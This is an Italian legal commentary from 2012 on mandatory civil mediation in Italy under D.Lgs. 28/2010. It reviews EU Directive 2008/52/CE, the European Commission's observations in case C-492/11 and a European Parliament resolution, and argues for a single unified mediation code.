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In attesa della sentenza della Consulta: la mediazione italiana vista dall”Europa (articolo tratto da Il Quotidiano IPSOA)

17 ottobre 2012

Terzo appuntamento con la mediazione in attesa della sentenza della Corte Costituzionale. Uno sguardo all”Europa che da tempo ha messo in atto politiche volte a favorire negli Stati membri l”adozione di metodi alternativi di risoluzione delle controversie.

Negli ultimi quindici anni non vi è stata legislazione europea o nazionale che non abbia previsto al suo interno un metodo di risoluzione alternativa delle controversie.
Da più parti, infatti, stante le difficoltà di riforma del sistema giudiziario, privato per troppo tempo di interventi che lo rendessero efficiente, si è parlato di ADR (Alternative Dispute Resolution) che tradotto liberamente significa “giustizia alternativa e di conciliazione”.
Altrove, l’esperienza delle forme di risoluzione alternative delle controversie è nata in modo spontaneo e alternativo ad una fisiologica giustizia statale.
In parlamento, nel corso degli ultimi quindici anni sono stati presentati numerosi progetti di legge di carattere generale sulle ADR e sulla conciliazione, senza contare quelli relativi a settori specifici.
Negli ultimi anni, infatti, prima del D.Lgs. 4 marzo 2010 n. 28, sono state inserite in numerose leggi di settore, dei sistemi di giustizia alternativa che hanno avuto lo scopo di evitare di far giungere le controversie nelle aule dei tribunali, o di farcele arrivare solo dopo, creando dei filtri conciliativi. Il legislatore europeo e, conseguentemente quello nazionale, intuirono l’inderogabile necessità di creare dei sistemi alternativi di giustizia (non “alla giustizia”), tanto che l’Unione Europea, nel 2002, licenziò il Libro verde sui “Modi alternativi di risoluzione delle controversie in materia civile e commerciale”.

 

Nel corso dei tempi più recenti, poi, stante la necessità di ridisegnare quasi integralmente il modo di accesso alla giustizia da parte dei cittadini, vi è stata una brusca accelerata sui metodi di risoluzione alternativi delle controversie, sfociata a livello europeo nella Direttiva 2008/52/CE e, nel nostro paese, nel D.Lgs. 4 marzo 2010 n. 28 con il quale è stata recepita la Direttiva.

 

Nel corso di questi anni, poi, si sono scritte molte pagine sul nuovo assetto di accesso alla giustizia e molte probabilmente se ne continueranno a scrivere, anche all’esito della sentenza della Corte Costituzionale attesa per i prossimi giorni.
Nel frattempo, l’Europa unitamente ad altri Paesi è andata avanti, cominciando già a parlare di una dimensione sovranazionale ed europea della mediazione.
Sia sufficiente scorrere le osservazioni scritte dalla Commissione europea relativamente alla causa C-492/11 pendente davanti alla Corte di Giustizia, per capire come il sistema cerchi sempre più di diffondere la cultura della mediazione senza, tuttavia, sostituire la “giustizia dello Stato” con la “giustizia privata”.
Le osservazioni sono scaturite dal procedimento di rinvio pregiudiziale sollecitato dal giudice di pace di Mercato San Severino nel corso di un processo civile ed hanno avuto ad oggetto l’interpretazione del diritto comunitario (e, in particolare, della direttiva 2008/52/CE) e la verifica della ‘compatibilità comunitaria’ della disciplina della mediazione italiana.
In particolare, il giudice di pace italiano, ha censurato la normativa nazionale ritenendola fortemente lesiva del diritto ad un ricorso giurisdizionale effettivo da parte del cittadino, nonché in grado di alterare l’equilibrata relazione tra mediazione e procedimento giudiziario garantito dalla direttiva 2008/52/CE.
In breve, le conclusioni della Commissione sono in questo senso:

  • la possibilità per il giudice di trarre argomenti di prova dalla mancata partecipazione non è idonea a compromettere il diritto di difesa della parte;
  • le sanzioni per la mancata partecipazione nessuna incompatibilità tra partecipazione al procedimento e accesso alla giustizia;
  • la facoltà del mediatore di formulare una proposta mina la volontarietà della mediazione e, in particolare, “la possibilità delle parti di porre fine al procedimento di mediazione in qualsiasi momento”.

Per la Commissione, infatti, il meccanismo proposta-sanzioni dell’art. 13 “appare in grado di produrre un forte condizionamento delle scelte delle parti che sono spinte ad acconsentire alla mediazione (mettersi d’accordo amichevolmente o accettare la proposta del mediatore) e di conseguenza sono scoraggiate dall’introduzione del processo in sede giudiziaria”.
In ogni caso, gli esiti cui giunge la Commissione sono in senso favorevole alla legislazione italiana, sia in punto al rapporto obbligatorietà-costi, sia in punto al rapporto obbligatorietà-volontarietà.
Il Parlamento Europeo, poi, con la Risoluzione 2011/2026 del 13 settembre 2011, aveva fatto il punto sull’attuazione negli stati membri della direttiva 2008/52/CE relativa a determinati aspetti della mediazione in materia civile e commerciale. All’esito dell’esame dei principali approcci regolamentari e delle differenti metodologie adottate degli Stati membri per favorire il ricorso alla mediazione, il Parlamento si è soffermato in particolare:
a) sul requisito della confidenzialità, segnalando che l’Italia ha adottato un approccio rigoroso nei confronti della confidenzialità nelle procedure di mediazione;
b) sulla procedura per conferire autorità all’accordo scaturito tra le parti in sede di mediazione osservando che, nella maggior parte degli Stati membri, l’accordo raggiunto ha la stessa efficacia di una decisione giudiziaria (in Italia mediante omologazione del giudice diviene esecutivo);
c) sulle iniziative intraprese per fornire incentivi finanziari alle parti che deferiscono le controversie alla mediazione: in Italia tutti gli atti e gli accordi di mediazione sono esenti da imposte di bollo e tasse;
d) sulla obbligatorietà della mediazione sottolineando che l’esempio più lampante è il decreto legislativo italiano n. 28/10 che ha puntato a riformare il sistema giuridico e ad alleggerire il carico di lavoro dei tribunali italiani.
Le conclusioni della Commissione e del Parlamento possono, quindi, consentirci una breve riflessione.
Parlare di mediazione solo in alcune materie e/o settori della giustizia, rende di difficile attuabilità una diffusione della cultura della mediazione coerente con il diverso assetto della giustizia in Italia, anche per ciò che riguarda la nuova geografia giudiziaria.
Potrebbe essere utile, forse, uniformare non solo una propria parte del sistema giudiziario alla legislazione europea in materia di mediazione, ma far sì che nell’intero sistema preveda un unico sistema di mediazione.
In sostanza, all’esito della sentenza della Corte costituzionale, quale che esso sia, dovrebbe pensarsi ad un unico sistema di risoluzione alternativa delle controversie, ossia un “codice unico della mediazione” che vada oltre l’obbligatorietà in alcune materie e sanzioni per chi non partecipa.
Per i prossimi anni è condivisibile l’opinione di alcuni che auspicherebbero che la cultura della mediazione si diffonda a tal punto da abrogarne l’obbligatorietà (oggi, viceversa, opportuna ed anzi necessaria alla luce del contesto) diventando un’alternativa seria e consapevole alla giurisdizione.
Tale sviluppo non potrà né essere immediato né, soprattutto, avvenire, comunque, senza un miglioramento dell’efficienza degli strumenti processuali volti alla tutela dei diritti.

 

Giampaolo Di Marco

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Pubblicato in ADR